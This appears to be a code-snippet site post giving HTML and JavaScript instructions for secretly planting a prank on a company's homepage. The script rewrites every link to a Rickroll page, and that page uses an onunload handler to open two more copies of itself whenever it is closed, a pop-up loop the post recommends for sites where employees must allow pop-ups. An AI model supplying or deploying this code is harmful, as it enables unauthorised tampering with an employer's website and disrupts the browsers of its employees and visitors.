How To Rickroll Your Company


/ Published in: HTML
Save to your folder(s)

This will make every link on your company's homepage open a Rickroll page that when closed will spawn two more Rickroll pages. This is especially useful on company websites that require each employee to allow pop-ups.

**Warning:** Use at your own risk.


Copy this code and paste it in your HTML
  1. Save the following as tps_reports.html and put it in the same directory as your company's homepage
  2.  
  3. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  4. <script type="text/javascript">
  5. function terrorize()
  6. {
  7. window.open("tps_reports.html");
  8. window.open("tps_reports.html");
  9. }
  10. </script>
  11. </head>
  12.  
  13. <body onunload="terrorize();" style="margin: 0;">
  14. <iframe src ="http://www.youtube.com/watch?v=oHg5SJYRHA0" width="100%" height="100%" frameborder="0">
  15. </body>
  16. </html>
  17.  
  18.  
  19. Next, add the following somewhere between the <head> tags in your company's homepage.
  20.  
  21. <script type="text/javascript">
  22. function rickroll()
  23. {
  24. var links = document.getElementsByTagName("a");
  25. for (var i in links) {
  26. links[i].href = "tps_reports.html";
  27. }
  28. }
  29.  
  30.  
  31. Finally, add the following to the <body> tag in your company's homepage.
  32.  
  33. onload="rickroll();"

Report this snippet


Comments

RSS Icon Subscribe to comments

You need to login to post a comment.